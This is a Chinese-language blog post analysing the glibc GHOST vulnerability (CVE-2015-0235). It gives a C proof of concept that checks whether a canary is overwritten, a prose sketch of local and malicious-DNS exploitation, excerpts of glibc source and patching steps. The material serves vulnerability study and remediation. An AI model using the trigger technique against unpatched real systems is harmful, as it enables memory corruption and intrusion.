glibc function heap-based buffer overflow in glibc's __nss_hostname_digits_dots() called by gethostbyname()、gethostbyname2() CVE-2015-0235

目录

1. 漏洞基本描述
2. 漏洞带来的影响
3. 漏洞攻击场景重现
4. 漏洞的利用场景
5. 漏洞原理分析
6. 漏洞修复方案
7. 攻防思考

 

1. 漏洞基本描述

A heap-based buffer overflow was found in glibc's __nss_hostname_digits_dots() function, which is used by the gethostbyname() and gethostbyname2() glibc function calls.

Relevant Link:

https://access.redhat.com/security/cve/CVE-2015-0235


2. 漏洞带来的影响

1. RHEL6 
glibc-2.12-1.149.el6_6.4.x86_64
glibc-common-2.12-1.149.el6_6.4.x86_64
glibc-devel-2.12-1.149.el6_6.4.x86_64
glibc-headers-2.12-1.149.el6_6.4.x86_64

2. RHEL7 
glibc-common-2.17-55.el7_0.3.x86_64
glibc-2.17-55.el7_0.3.x86_64
glibc-headers-2.17-55.el7_0.3.x86_64
glibc-devel-2.17-55.el7_0.3.x86_64

2.2 <= version <= 2.17


3. 漏洞攻击场景重现

0x1: POC

#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"

struct {
  char buffer[1024];
  char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };

int main(void) {
  struct hostent resbuf;
  struct hostent *result;
  int herrno;
  int retval;

  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  char name[sizeof(temp.buffer)];
  memset(name, '0', len);
  name[len] = '\0';

  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);

  if (strcmp(temp.canary, CANARY) != 0) {
    puts("vulnerable");
    exit(EXIT_SUCCESS);
  }
  if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
  }
  puts("should not happen");
  exit(EXIT_FAILURE);
}

Relevant Link:

https://gist.githubusercontent.com/koelling/ef9b2b9d0be6d6dbab63/raw/de1730049198c64eaf8f8ab015a3c8b23b63fd34/gistfile1.c/


4. 漏洞的利用场景

漏洞的源头在操作系统的底层代码库Glibc,所以攻击者利用这个漏洞的方式可以是如下几种

1. 本地利用提权
黑客通过编写利用代码,构造特定格式的"输入数据",并调用gethostbyname(),通过漏洞流将shellcode注入,获得应用权限

2. 远程发送畸形数据包提权
要利用gethostbyname(),需要构造一个特殊的DNS服务器,对客户端的DNS请求返回一个精心构造的畸形数据包


5. 漏洞原理分析

glibc-2.17\nss\digits_dots.c

int __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
                char **buffer, size_t *buffer_size,
                size_t buflen, struct hostent **result,
                enum nss_status *status, int af, int *h_errnop)
{
    ..
}

__nss_hostname_digits_dots由其他的包装函数负责调用

\glibc-2.17\nss\getXXbyYY.c

LOOKUP_TYPE *
FUNCTION_NAME (ADD_PARAMS)
{
  static size_t buffer_size;
  static LOOKUP_TYPE resbuf;
  LOOKUP_TYPE *result;
#ifdef NEED_H_ERRNO
  int h_errno_tmp = 0;
#endif

  /* Get lock.  */
  __libc_lock_lock (lock);

  if (buffer == NULL)
    {
      buffer_size = BUFLEN;
      buffer = (char *) malloc (buffer_size);
    }

#ifdef HANDLE_DIGITS_DOTS
  if (buffer != NULL)
    {
      //FUNCTION_NAME是对外的包装函数
      if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
                      &buffer_size, 0, &result, NULL, AF_VAL,
                      H_ERRNO_VAR_P))
    goto done;
    }
#endif

  while (buffer != NULL
     && (INTERNAL (REENTRANT_NAME) (ADD_VARIABLES, &resbuf, buffer,
                    buffer_size, &result H_ERRNO_VAR)
         == ERANGE)
#ifdef NEED_H_ERRNO
     && h_errno_tmp == NETDB_INTERNAL
#endif
     )
    {
      char *new_buf;
      buffer_size *= 2;
      new_buf = (char *) realloc (buffer, buffer_size);
      if (new_buf == NULL)
    {
      /* We are out of memory.  Free the current buffer so that the
         process gets a chance for a normal termination.  */
      free (buffer);
      __set_errno (ENOMEM);
    }
      buffer = new_buf;
    }

  if (buffer == NULL)
    result = NULL;

#ifdef HANDLE_DIGITS_DOTS
done:
#endif
  /* Release lock.  */
  __libc_lock_unlock (lock);

#ifdef NEED_H_ERRNO
  if (h_errno_tmp != 0)
    __set_h_errno (h_errno_tmp);
#endif

  return result;
}

这个函数的调用是由#ifdef HANDLE_DIGITS_DOTS来定义的,这个宏定义只在这几个文件有:

1. inet/gethstbynm.c
2. inet/gethstbynm2.c
3. inet/gethstbynm_r.c
4. inet/gethstbynm2_r.c
5. nscd/gethstbynm3_r.c

Relevant Link:

http://drops.wooyun.org/papers/4780
https://sourceware.org/git/?p=glibc.git;a=commit;h=d5dd6189d506068ed11c8bfa1e1e9bffde04decd
http://www.openwall.com/lists/oss-security/2015/01/27/9
http://www.tuicool.com/articles/2YfEFz
http://ftp.gnu.org/gnu/glibc/


6. 漏洞修复方案

0x1: 升级Glibc库

1. RHEL/CentOS
sudo yum update glibc 

2. Ubuntu
sudo apt-get update
sudo apt-get install libc6

0x2: 重启应用

获取加载了glibc库的进程

lsof | grep libc | awk '{print $1}' | sort | uniq

如果当前系统中进程太多,最好的方式是重启系统


7. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

 

posted @ 2015-04-08 14:14  郑瀚Andrew  阅读(131)  评论(0编辑  收藏  举报